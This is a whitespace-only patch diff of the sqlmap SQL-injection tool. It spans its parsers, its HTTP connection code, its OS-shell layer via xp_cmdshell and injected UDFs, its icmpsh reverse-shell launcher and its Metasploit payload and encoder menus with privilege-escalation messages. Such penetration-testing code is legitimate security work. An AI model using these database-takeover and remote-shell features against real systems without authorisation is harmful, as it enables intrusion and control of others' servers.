def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
@ -73,8 +73,8 @@ class MSSQLBannerHandler(ContentHandler):
|
||||||
self.__feedInfo("dbmsServicePack", self.__servicePack)
|
self.__feedInfo("dbmsServicePack", self.__servicePack)
|
||||||
break
|
break
|
||||||
|
|
||||||
self.__version = ""
|
self.__version = ""
|
||||||
self.__versionAlt = None
|
self.__versionAlt = None
|
||||||
self.__servicePack = ""
|
self.__servicePack = ""
|
||||||
|
|
||||||
elif name == "version":
|
elif name == "version":
|
||||||
|
|
|
@ -571,7 +571,7 @@ def cmdLineParser():
|
||||||
|
|
||||||
if not any([args.direct, args.url, args.list, args.googleDork, args.configFile, \
|
if not any([args.direct, args.url, args.list, args.googleDork, args.configFile, \
|
||||||
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.realTest, args.wizard]):
|
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.realTest, args.wizard]):
|
||||||
errMsg = "missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), "
|
errMsg = "missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), "
|
||||||
errMsg += "-h for help"
|
errMsg += "-h for help"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|
||||||
|
|
|
@ -42,7 +42,7 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
||||||
else:
|
else:
|
||||||
conf[option] = None
|
conf[option] = None
|
||||||
else:
|
else:
|
||||||
debugMsg = "missing requested option '%s' (section " % option
|
debugMsg = "missing requested option '%s' (section " % option
|
||||||
debugMsg += "'%s') into the configuration file, " % section
|
debugMsg += "'%s') into the configuration file, " % section
|
||||||
debugMsg += "ignoring. Skipping to next."
|
debugMsg += "ignoring. Skipping to next."
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -66,12 +66,12 @@ def configFileParser(configFile):
|
||||||
if not config.has_section("Target"):
|
if not config.has_section("Target"):
|
||||||
raise NoSectionError, "Target in the configuration file is mandatory"
|
raise NoSectionError, "Target in the configuration file is mandatory"
|
||||||
|
|
||||||
condition = not config.has_option("Target", "url")
|
condition = not config.has_option("Target", "url")
|
||||||
condition &= not config.has_option("Target", "list")
|
condition &= not config.has_option("Target", "list")
|
||||||
condition &= not config.has_option("Target", "googleDork")
|
condition &= not config.has_option("Target", "googleDork")
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
errMsg = "missing a mandatory option in the configuration "
|
errMsg = "missing a mandatory option in the configuration "
|
||||||
errMsg += "file (url, list or googleDork)"
|
errMsg += "file (url, list or googleDork)"
|
||||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||||
|
|
||||||
|
|
|
@ -20,12 +20,12 @@ class FingerprintHandler(ContentHandler):
|
||||||
def __init__(self, banner, info):
|
def __init__(self, banner, info):
|
||||||
ContentHandler.__init__(self)
|
ContentHandler.__init__(self)
|
||||||
|
|
||||||
self.__banner = sanitizeStr(banner)
|
self.__banner = sanitizeStr(banner)
|
||||||
self.__regexp = None
|
self.__regexp = None
|
||||||
self.__match = None
|
self.__match = None
|
||||||
self.__dbmsVersion = None
|
self.__dbmsVersion = None
|
||||||
self.__techVersion = None
|
self.__techVersion = None
|
||||||
self.__info = info
|
self.__info = info
|
||||||
|
|
||||||
def __feedInfo(self, key, value):
|
def __feedInfo(self, key, value):
|
||||||
value = sanitizeStr(value)
|
value = sanitizeStr(value)
|
||||||
|
@ -45,7 +45,7 @@ class FingerprintHandler(ContentHandler):
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "regexp":
|
if name == "regexp":
|
||||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||||
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
|
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
|
||||||
|
|
||||||
if name == "info" and self.__match:
|
if name == "info" and self.__match:
|
||||||
self.__feedInfo("type", attrs.get("type"))
|
self.__feedInfo("type", attrs.get("type"))
|
||||||
|
@ -55,7 +55,7 @@ class FingerprintHandler(ContentHandler):
|
||||||
|
|
||||||
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
|
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
|
||||||
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
|
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
|
||||||
self.__sp = sanitizeStr(attrs.get("sp"))
|
self.__sp = sanitizeStr(attrs.get("sp"))
|
||||||
|
|
||||||
if self.__dbmsVersion.isdigit():
|
if self.__dbmsVersion.isdigit():
|
||||||
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
|
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
|
||||||
|
@ -68,7 +68,7 @@ class FingerprintHandler(ContentHandler):
|
||||||
if self.__sp.isdigit():
|
if self.__sp.isdigit():
|
||||||
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
|
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
|
||||||
|
|
||||||
self.__regexp = None
|
self.__regexp = None
|
||||||
self.__match = None
|
self.__match = None
|
||||||
self.__dbmsVersion = None
|
self.__dbmsVersion = None
|
||||||
self.__techVersion = None
|
self.__techVersion = None
|
||||||
|
|
|
@ -40,7 +40,7 @@ def headersParser(headers):
|
||||||
|
|
||||||
for header in headers:
|
for header in headers:
|
||||||
if header in topHeaders.keys():
|
if header in topHeaders.keys():
|
||||||
value = headers[header]
|
value = headers[header]
|
||||||
xmlfile = topHeaders[header]
|
xmlfile = topHeaders[header]
|
||||||
|
|
||||||
checkFile(xmlfile)
|
checkFile(xmlfile)
|
||||||
|
|
|
@ -26,12 +26,12 @@ class htmlHandler(ContentHandler):
|
||||||
def __init__(self, page):
|
def __init__(self, page):
|
||||||
ContentHandler.__init__(self)
|
ContentHandler.__init__(self)
|
||||||
|
|
||||||
self.__dbms = None
|
self.__dbms = None
|
||||||
self.__page = page
|
self.__page = page
|
||||||
self.__regexp = None
|
self.__regexp = None
|
||||||
self.__match = None
|
self.__match = None
|
||||||
|
|
||||||
self.dbms = None
|
self.dbms = None
|
||||||
|
|
||||||
def startElement(self, name, attrs):
|
def startElement(self, name, attrs):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
|
|
|
@ -129,7 +129,7 @@ def checkCharEncoding(encoding):
|
||||||
try:
|
try:
|
||||||
codecs.lookup(encoding)
|
codecs.lookup(encoding)
|
||||||
except LookupError:
|
except LookupError:
|
||||||
warnMsg = "unknown web page charset '%s'. " % encoding
|
warnMsg = "unknown web page charset '%s'. " % encoding
|
||||||
warnMsg += "Please report by e-mail to %s." % ML
|
warnMsg += "Please report by e-mail to %s." % ML
|
||||||
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
|
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
|
||||||
encoding = None
|
encoding = None
|
||||||
|
@ -143,7 +143,7 @@ def getHeuristicCharEncoding(page):
|
||||||
"""
|
"""
|
||||||
retVal = detect(page)['encoding']
|
retVal = detect(page)['encoding']
|
||||||
|
|
||||||
infoMsg = "heuristics detected web page charset '%s'" % retVal
|
infoMsg = "heuristics detected web page charset '%s'" % retVal
|
||||||
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
|
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
|
@ -84,31 +84,31 @@ class Connect:
|
||||||
|
|
||||||
# dirty hack because urllib2 just skips the other part of provided url
|
# dirty hack because urllib2 just skips the other part of provided url
|
||||||
# splitted with space char while urlencoding it in the later phase
|
# splitted with space char while urlencoding it in the later phase
|
||||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||||
|
|
||||||
get = kwargs.get('get', None)
|
get = kwargs.get('get', None)
|
||||||
post = kwargs.get('post', None)
|
post = kwargs.get('post', None)
|
||||||
method = kwargs.get('method', None)
|
method = kwargs.get('method', None)
|
||||||
cookie = kwargs.get('cookie', None)
|
cookie = kwargs.get('cookie', None)
|
||||||
ua = kwargs.get('ua', None)
|
ua = kwargs.get('ua', None)
|
||||||
referer = kwargs.get('referer', None)
|
referer = kwargs.get('referer', None)
|
||||||
direct = kwargs.get('direct', False)
|
direct = kwargs.get('direct', False)
|
||||||
multipart = kwargs.get('multipart', False)
|
multipart = kwargs.get('multipart', False)
|
||||||
silent = kwargs.get('silent', False)
|
silent = kwargs.get('silent', False)
|
||||||
raise404 = kwargs.get('raise404', True)
|
raise404 = kwargs.get('raise404', True)
|
||||||
auxHeaders = kwargs.get('auxHeaders', None)
|
auxHeaders = kwargs.get('auxHeaders', None)
|
||||||
response = kwargs.get('response', False)
|
response = kwargs.get('response', False)
|
||||||
ignoreTimeout = kwargs.get('ignoreTimeout', False)
|
ignoreTimeout = kwargs.get('ignoreTimeout', False)
|
||||||
refreshing = kwargs.get('refreshing', False)
|
refreshing = kwargs.get('refreshing', False)
|
||||||
|
|
||||||
page = ""
|
page = ""
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
requestMsg = "HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, conf.method)
|
requestMsg = "HTTP request [#%d]:\n%s " % (threadData.lastRequestUID, conf.method)
|
||||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||||
responseMsg = "HTTP response "
|
responseMsg = "HTTP response "
|
||||||
requestHeaders = ""
|
requestHeaders = ""
|
||||||
responseHeaders = None
|
responseHeaders = None
|
||||||
logHeaders = ""
|
logHeaders = ""
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if silent:
|
if silent:
|
||||||
|
@ -192,7 +192,7 @@ class Connect:
|
||||||
cookieStr = "Cookie: "
|
cookieStr = "Cookie: "
|
||||||
|
|
||||||
cookie = getUnicode(cookie)
|
cookie = getUnicode(cookie)
|
||||||
index = cookie.index(" for ")
|
index = cookie.index(" for ")
|
||||||
|
|
||||||
cookieStr += "%s; " % cookie[8:index]
|
cookieStr += "%s; " % cookie[8:index]
|
||||||
|
|
||||||
|
@ -228,7 +228,7 @@ class Connect:
|
||||||
kb.redirectSetCookie = conn.setcookie
|
kb.redirectSetCookie = conn.setcookie
|
||||||
|
|
||||||
if hasattr(conn, "redurl") and hasattr(conn, "redcode") and not conf.redirectHandled and not conf.realTest:
|
if hasattr(conn, "redurl") and hasattr(conn, "redcode") and not conf.redirectHandled and not conf.realTest:
|
||||||
msg = "sqlmap got a %d redirect to " % conn.redcode
|
msg = "sqlmap got a %d redirect to " % conn.redcode
|
||||||
msg += "%s - What target address do you " % conn.redurl
|
msg += "%s - What target address do you " % conn.redurl
|
||||||
msg += "want to use from now on? %s " % conf.url
|
msg += "want to use from now on? %s " % conf.url
|
||||||
msg += "(default) or provide another target address based "
|
msg += "(default) or provide another target address based "
|
||||||
|
@ -304,7 +304,7 @@ class Connect:
|
||||||
responseHeaders[URI_HTTP_HEADER] = e.geturl()
|
responseHeaders[URI_HTTP_HEADER] = e.geturl()
|
||||||
page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
|
page = decodePage(page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING), responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
warnMsg = "connection timed out while trying "
|
warnMsg = "connection timed out while trying "
|
||||||
warnMsg += "to get error page information (%d)" % e.code
|
warnMsg += "to get error page information (%d)" % e.code
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
return None, None
|
return None, None
|
||||||
|
@ -334,7 +334,7 @@ class Connect:
|
||||||
logger.log(7, responseMsg)
|
logger.log(7, responseMsg)
|
||||||
|
|
||||||
if e.code == 401:
|
if e.code == 401:
|
||||||
errMsg = "not authorized, try to provide right HTTP "
|
errMsg = "not authorized, try to provide right HTTP "
|
||||||
errMsg += "authentication type and valid credentials (%d)" % code
|
errMsg += "authentication type and valid credentials (%d)" % code
|
||||||
raise sqlmapConnectionException, errMsg
|
raise sqlmapConnectionException, errMsg
|
||||||
elif e.code == 404 and raise404:
|
elif e.code == 404 and raise404:
|
||||||
|
@ -359,7 +359,7 @@ class Connect:
|
||||||
elif "URLError" in tbMsg or "error" in tbMsg:
|
elif "URLError" in tbMsg or "error" in tbMsg:
|
||||||
warnMsg = "unable to connect to the target url"
|
warnMsg = "unable to connect to the target url"
|
||||||
elif "BadStatusLine" in tbMsg:
|
elif "BadStatusLine" in tbMsg:
|
||||||
warnMsg = "the target url responded with an unknown HTTP "
|
warnMsg = "the target url responded with an unknown HTTP "
|
||||||
warnMsg += "status code, try to force the HTTP User-Agent "
|
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||||
warnMsg += "header with option --user-agent or --random-agent"
|
warnMsg += "header with option --user-agent or --random-agent"
|
||||||
elif "IncompleteRead" in tbMsg:
|
elif "IncompleteRead" in tbMsg:
|
||||||
|
@ -420,15 +420,15 @@ class Connect:
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return direct(value, content)
|
return direct(value, content)
|
||||||
|
|
||||||
get = None
|
get = None
|
||||||
post = None
|
post = None
|
||||||
cookie = None
|
cookie = None
|
||||||
ua = None
|
ua = None
|
||||||
referer = None
|
referer = None
|
||||||
page = None
|
page = None
|
||||||
pageLength = None
|
pageLength = None
|
||||||
uri = None
|
uri = None
|
||||||
raise404 = place != PLACE.URI if raise404 is None else raise404
|
raise404 = place != PLACE.URI if raise404 is None else raise404
|
||||||
|
|
||||||
if not place:
|
if not place:
|
||||||
place = kb.injection.place
|
place = kb.injection.place
|
||||||
|
@ -505,7 +505,7 @@ class Connect:
|
||||||
if stdev(kb.responseTimes) > WARN_TIME_STDEV:
|
if stdev(kb.responseTimes) > WARN_TIME_STDEV:
|
||||||
kb.adjustTimeDelay = False
|
kb.adjustTimeDelay = False
|
||||||
|
|
||||||
warnMsg = "there is considerable lagging in connection "
|
warnMsg = "there is considerable lagging in connection "
|
||||||
warnMsg += "response(s). Please use as high value for "
|
warnMsg += "response(s). Please use as high value for "
|
||||||
warnMsg += "--time-sec option as possible (e.g. 10 or more)"
|
warnMsg += "--time-sec option as possible (e.g. 10 or more)"
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
|
|
|
@ -49,7 +49,7 @@ def direct(query, content=True):
|
||||||
except:
|
except:
|
||||||
output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||||
|
|
||||||
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
||||||
infoMsg += "%s..." % getUnicode(output, UNICODE_ENCODING)[:20]
|
infoMsg += "%s..." % getUnicode(output, UNICODE_ENCODING)[:20]
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -85,10 +85,10 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
|
||||||
|
|
||||||
# Make the sock ssl-aware
|
# Make the sock ssl-aware
|
||||||
if PYVERSION >= "2.6":
|
if PYVERSION >= "2.6":
|
||||||
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
|
||||||
self.sock = sslobj
|
self.sock = sslobj
|
||||||
else:
|
else:
|
||||||
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
|
||||||
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
self.sock = httplib.FakeSocket(self.sock, sslobj)
|
||||||
|
|
||||||
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
class ProxyHTTPHandler(urllib2.HTTPHandler):
|
||||||
|
|
|
@ -67,7 +67,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||||
try:
|
try:
|
||||||
content = fp.read()
|
content = fp.read()
|
||||||
except Exception, msg:
|
except Exception, msg:
|
||||||
dbgMsg = "there was a problem while retrieving "
|
dbgMsg = "there was a problem while retrieving "
|
||||||
dbgMsg += "redirect response content (%s)" % msg
|
dbgMsg += "redirect response content (%s)" % msg
|
||||||
logger.debug(dbgMsg)
|
logger.debug(dbgMsg)
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||||
try:
|
try:
|
||||||
content = fp.read()
|
content = fp.read()
|
||||||
except Exception, msg:
|
except Exception, msg:
|
||||||
dbgMsg = "there was a problem while retrieving "
|
dbgMsg = "there was a problem while retrieving "
|
||||||
dbgMsg += "redirect response content (%s)" % msg
|
dbgMsg += "redirect response content (%s)" % msg
|
||||||
logger.debug(dbgMsg)
|
logger.debug(dbgMsg)
|
||||||
|
|
||||||
|
@ -90,6 +90,6 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||||
|
|
||||||
def infinite_loop_check(self, req):
|
def infinite_loop_check(self, req):
|
||||||
if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= self.max_repeats or len(req.redirect_dict) >= self.max_redirections):
|
if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= self.max_repeats or len(req.redirect_dict) >= self.max_redirections):
|
||||||
errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys())
|
errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys())
|
||||||
errMsg += "please check all provided parameters and/or provide missing ones."
|
errMsg += "please check all provided parameters and/or provide missing ones."
|
||||||
raise sqlmapConnectionException, errMsg
|
raise sqlmapConnectionException, errMsg
|
||||||
|
|
|
@ -70,8 +70,8 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
getOutput = None
|
getOutput = None
|
||||||
|
|
||||||
if not self.alwaysRetrieveCmdOutput:
|
if not self.alwaysRetrieveCmdOutput:
|
||||||
message = "do you want to retrieve the command standard "
|
message = "do you want to retrieve the command standard "
|
||||||
message += "output? [Y/n/a] "
|
message += "output? [Y/n/a] "
|
||||||
getOutput = readInput(message, default="Y")
|
getOutput = readInput(message, default="Y")
|
||||||
|
|
||||||
if getOutput in ("a", "A"):
|
if getOutput in ("a", "A"):
|
||||||
|
@ -89,19 +89,19 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
|
|
||||||
def shell(self):
|
def shell(self):
|
||||||
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
infoMsg = "calling OS shell. To quit type "
|
infoMsg = "calling OS shell. To quit type "
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
infoMsg = "going to use injected sys_eval and sys_exec "
|
infoMsg = "going to use injected sys_eval and sys_exec "
|
||||||
infoMsg += "user-defined functions for operating system "
|
infoMsg += "user-defined functions for operating system "
|
||||||
infoMsg += "command execution"
|
infoMsg += "command execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
|
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
|
||||||
infoMsg = "going to use xp_cmdshell extended procedure for "
|
infoMsg = "going to use xp_cmdshell extended procedure for "
|
||||||
infoMsg += "operating system command execution"
|
infoMsg += "operating system command execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -109,7 +109,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
|
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -148,7 +148,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
|
||||||
self.checkDbmsOs(detailed)
|
self.checkDbmsOs(detailed)
|
||||||
|
|
||||||
if mandatory and not self.isDba():
|
if mandatory and not self.isDba():
|
||||||
warnMsg = "the functionality requested might not work because "
|
warnMsg = "the functionality requested might not work because "
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
|
@ -30,11 +30,11 @@ class ICMPsh:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __initVars(self):
|
def __initVars(self):
|
||||||
self.lhostStr = None
|
self.lhostStr = None
|
||||||
self.rhostStr = None
|
self.rhostStr = None
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
|
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
|
||||||
|
|
||||||
def __selectRhost(self):
|
def __selectRhost(self):
|
||||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||||
|
@ -59,7 +59,7 @@ class ICMPsh:
|
||||||
icmpshmaster(self.lhostStr, self.rhostStr)
|
icmpshmaster(self.lhostStr, self.rhostStr)
|
||||||
|
|
||||||
def __runIcmpshSlaveRemote(self):
|
def __runIcmpshSlaveRemote(self):
|
||||||
infoMsg = "running icmpsh slave remotely"
|
infoMsg = "running icmpsh slave remotely"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr)
|
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr)
|
||||||
|
@ -90,7 +90,7 @@ class ICMPsh:
|
||||||
self.__runIcmpshSlaveRemote()
|
self.__runIcmpshSlaveRemote()
|
||||||
self.__runIcmpshMaster()
|
self.__runIcmpshMaster()
|
||||||
|
|
||||||
debugMsg = "icmpsh master exited"
|
debugMsg = "icmpsh master exited"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
|
@ -50,22 +50,22 @@ class Metasploit:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __initVars(self):
|
def __initVars(self):
|
||||||
self.connectionStr = None
|
self.connectionStr = None
|
||||||
self.lhostStr = None
|
self.lhostStr = None
|
||||||
self.rhostStr = None
|
self.rhostStr = None
|
||||||
self.portStr = None
|
self.portStr = None
|
||||||
self.payloadStr = None
|
self.payloadStr = None
|
||||||
self.encoderStr = None
|
self.encoderStr = None
|
||||||
self.payloadConnStr = None
|
self.payloadConnStr = None
|
||||||
self.resourceFile = None
|
self.resourceFile = None
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
self.__msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
||||||
|
|
||||||
self.__msfPayloadsList = {
|
self.__msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||||
2: ( "Shell", "windows/shell" ),
|
2: ( "Shell", "windows/shell" ),
|
||||||
|
@ -88,7 +88,7 @@ class Metasploit:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self.__msfEncodersList = {
|
self.__msfEncodersList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "No Encoder", "generic/none" ),
|
1: ( "No Encoder", "generic/none" ),
|
||||||
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
|
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
|
||||||
|
@ -106,14 +106,14 @@ class Metasploit:
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self.__msfSMBPortsList = {
|
self.__msfSMBPortsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "139/TCP", "139" ),
|
1: ( "139/TCP", "139" ),
|
||||||
2: ( "445/TCP (default)", "445" ),
|
2: ( "445/TCP (default)", "445" ),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
self.__portData = {
|
self.__portData = {
|
||||||
"bind": "remote port number",
|
"bind": "remote port number",
|
||||||
"reverse": "local port number",
|
"reverse": "local port number",
|
||||||
}
|
}
|
||||||
|
@ -175,7 +175,7 @@ class Metasploit:
|
||||||
|
|
||||||
def __selectPayload(self):
|
def __selectPayload(self):
|
||||||
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
||||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||||
infoMsg += "it is the only payload that can be used to "
|
infoMsg += "it is the only payload that can be used to "
|
||||||
infoMsg += "escalate privileges, either via 'incognito' "
|
infoMsg += "escalate privileges, either via 'incognito' "
|
||||||
infoMsg += "extension or via 'getsystem' command"
|
infoMsg += "extension or via 'getsystem' command"
|
||||||
|
@ -190,7 +190,7 @@ class Metasploit:
|
||||||
choose = False
|
choose = False
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
debugMsg += "user, it is likely that the the VNC "
|
debugMsg += "user, it is likely that the the VNC "
|
||||||
debugMsg += "injection will be successful"
|
debugMsg += "injection will be successful"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -198,7 +198,7 @@ class Metasploit:
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
|
elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
choose = True
|
choose = True
|
||||||
|
|
||||||
warnMsg = "by default PostgreSQL on Windows runs as "
|
warnMsg = "by default PostgreSQL on Windows runs as "
|
||||||
warnMsg += "postgres user, it is unlikely that the VNC "
|
warnMsg += "postgres user, it is unlikely that the VNC "
|
||||||
warnMsg += "injection will be successful"
|
warnMsg += "injection will be successful"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -206,14 +206,14 @@ class Metasploit:
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
|
elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
|
||||||
choose = True
|
choose = True
|
||||||
|
|
||||||
warnMsg = "it is unlikely that the VNC injection will be "
|
warnMsg = "it is unlikely that the VNC injection will be "
|
||||||
warnMsg += "successful because usually Microsoft SQL Server "
|
warnMsg += "successful because usually Microsoft SQL Server "
|
||||||
warnMsg += "%s runs as Network Service " % Backend.getVersion()
|
warnMsg += "%s runs as Network Service " % Backend.getVersion()
|
||||||
warnMsg += "or the Administrator is not logged in"
|
warnMsg += "or the Administrator is not logged in"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if choose:
|
if choose:
|
||||||
message = "what do you want to do?\n"
|
message = "what do you want to do?\n"
|
||||||
message += "[1] Give it a try anyway\n"
|
message += "[1] Give it a try anyway\n"
|
||||||
